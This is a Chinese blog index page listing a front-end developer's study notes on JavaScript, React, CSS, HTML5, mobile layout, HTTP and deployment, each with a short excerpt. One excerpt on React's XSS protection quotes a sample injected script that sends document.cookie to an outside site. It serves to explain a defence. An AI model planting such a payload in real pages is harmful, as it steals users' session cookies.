日常记录
关注
分享
扫一扫
时光之里
Before Dawn
展开
-
20190221 js 浏览器基础之 渲染机制 重绘回流 web worker
json差异对比之react// https://www.npmjs.com/package/jsondiffpatch-for-reactimport JsonDiffReact from 'jsondiffpatch-for-react';<JsonDiffReact right={{ foo: 'bar', name: {before: '1', after: '2'}}}...原创 2019-02-21 21:33:48 · 196 阅读 · 0 评论 -
前端各种功能效果插件 临时库
工具插件电脑实用工具homebrew 软件包管理工具git sourcetreenodeihosts 切换host的工具vscode插件Auto Rename TagBabel ES6/ES7BeautifyDebugger for ChromeGitLensHTML CSS Supportnpm Intellisenseopen in browserPath...原创 2019-12-27 16:10:47 · 235 阅读 · 0 评论 -
20190521 基于数据劫持的双向绑定方法 Object.defineProperty 与 Proxy
双向绑定的方法KnockoutJS 基于观察者模式(发布-订阅)的双向绑定Ember 基于数据模型的双向绑定Angular 基于脏检查的双向绑定基于数据劫持的双向绑定 (重点讲解)Object.definePropertyProxy数据劫持数据劫持的优点不需要显示的调用比如：Vue 利用数据劫持+发布订阅，可以直接通知变化并且驱动视图可以精确得知变化数据我...原创 2019-05-22 14:30:43 · 312 阅读 · 0 评论 -
20190403 CSS3总结
盒模型概念：盒子的总宽度=content+padding+border+marginW3C标准：width=内容占据的空间 padding 和 border另外计算；设置box-sizing: content-box（默认）IE标准：width=内容占据的空间+padding+border；又称为’怪异盒模型‘；设置box-sizing: border-box兼容：如果想要...原创 2019-04-03 18:59:14 · 133 阅读 · 0 评论 -
20190403 HTML5总结
HTML5是什么概念HTML5是HTML的最新修订版本，目的是为了在移动设备上支持多媒体。如何使用<!DOCTYPE html>支持性最新版本的 Safari、Chrome、Firefox、Opera、IE9兼容引入html5shiv资源 <!--[if lt IE 9]> <script src="http://cdn.static....原创 2019-04-03 18:49:09 · 295 阅读 · 0 评论 -
20190401 在移动端布局中，我们需要面临的两个最为重要的问题
一、各终端下的适配问题：3种方案1. 通过 hack 手段根据设备的 dpr 的值更改标签的 viewport 值。dpr = dp / dip // 设备像素比 = 设备像素 / 设备独立像素dpr = window.devicePixelRadio; // 设备像素比的获取scale = 1 / dpr // 根据 dpr 设置缩放<!-- dpr = 1--><...原创 2019-04-01 18:33:01 · 584 阅读 · 1 评论 -
20190313 react基础之setState异步更新
官网中说 react setState()方法 状态更新可能是异步的官网详情移步：https://react.docschina.org/docs/state-and-lifecycle.htmlReact 可以将多个setState() 调用合并成一个调用来提高性能。因为 this.props 和 this.state 可能是异步更新的，你不应该依靠它们的值来计算下一个状态。// Wro...原创 2019-03-13 19:40:58 · 499 阅读 · 0 评论 -
20190422 关于react你需要知道
ReactDOM可以有效的防止XSS(跨站脚本)攻击ReactDOM在渲染之前会过滤所有传入的值，将所有的内容都转化成字符串，而不是一段可执行的代码，这样就可以确保应用不会被注入攻击。场景：a.com可以发文章，我登录后在a.com中发布了一篇包含恶意代码<script>window.open(“www.b.com?param=”+document.cookie)</scr...原创 2019-03-20 16:59:16 · 232 阅读 · 0 评论 -
201903019 react基础之性能优化
生产环境单文件版本只有结尾是.min.js的文件才适合生产使用。创建更高效的Browserify生产版本npm install --save-dev bundle-collapser envify uglify-js uglifyify # bundle-collapser 该插件用数字替代了长长的模块ID # envify 该插件确保正确的编译环境# uglifyify 该...原创 2019-03-20 11:39:51 · 154 阅读 · 0 评论 -
20190303 移动端适配viewport、vw、rem、媒体查询
移动端适配方案第一步viewport概念viewport是用户网页的可视区域，又叫做‘视区’。比如我们有时使用移动设备访问pc端页面的时候会看到一个横向的滚动条，这里的可显示区域的宽度就是viewport的宽度。属性width: 控制 viewport 的大小，比如 device-width 为设备的宽度（单位为缩放为 100% 时的 CSS 的像素）。initial-sc...原创 2019-03-03 23:26:24 · 569 阅读 · 0 评论 -
20190305 HTTP & HTTPS & SSL & TCP & socket
HTTP概念HTTP：超文本传输协议特点：客户端每次请求都需要服务端进行响应。一次连接包括建立连接(TCP三次握手)和关闭连接(TCP四次挥手)。HTTP 0.9get请求HTTP 1.0post、head头信息、状态码、缓存等。短连接每个TCP连接只能发送一个请求缺点： TCP连接成本高，而每个请求都要进行一次TCP连接。并keep-a...原创 2019-03-05 21:35:13 · 426 阅读 · 0 评论 -
20190228 js知识点
优雅的删除对象中的某些属性function deleteObjAttr(obj) { let res = JSON.parse(JSON.stringify(obj,function(key,value){ if(key === 'id' || key === 'isEdit'){ return undefined; }else{ return val...原创 2019-03-02 14:25:47 · 152 阅读 · 0 评论 -
20190219 比较3个判断数组的方法Object.prototype.toString.call() instanceof 、 Array.isArray()
css选择器最后一个元素last-child项目构建失败1. ignore不允许提交到远程2. 工程名称尽可能的使用英文，避免构建检查时不通过导致依赖安装不了，从而模块找不到或者构建失败3. 项目依赖可能存在兼容性问题以及依赖自身可能存在版本兼容的问题，这些都可以进行排查一下手机端访问页面失败，报错信息：fetch not defined in Safari (ReferenceEr...原创 2019-02-20 20:07:44 · 237 阅读 · 0 评论 -
20190220 js基础 闭包 作用域 原型
闭包实例function test() { var n = 4399; function add() { n++; console.log(n); } return {n: n, add: add}}var result = test(); // {n: 4399, add: funciton}var result2 = test(); // {n: 439...原创 2019-02-20 20:04:23 · 197 阅读 · 0 评论 -
20190301 css知识之元素水平垂直居中、margin、vertical-align、position
左边自适应，右边固定宽度<div class="box"> <div class="left">左边自适应</div> <div class="right">右边固定宽度</div></div>flex 布局.box { display: flex;}.原创 2019-03-01 18:01:41 · 365 阅读 · 0 评论 -
20190304 项目部署
项目部署远程服务器目录：/home/jingge/web/index.htmlNginx配置root指向index.html跑起一个web应用需要哪些准备服务器你需要一个linux服务器为应用程序提供操作系统运行环境和服务。编程语言环境应用程序是使用编程语言开发的，因此，应用程序的运行需要依赖于编程语言环境。所谓编程语言环境，也就是js, nodejs, java, php...原创 2019-03-05 09:47:06 · 149 阅读 · 0 评论 -
20190223 js 浏览器知识
长连接发送请求只有第一次进行三次握手cookie过期时间： 不设置则为会话时间websocket例子一： 利用别人写好的服务&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;body&gt; &lt;input id="text" /&gt; &lt;button id=&原创 2019-02-23 20:16:05 · 2284 阅读 · 5 评论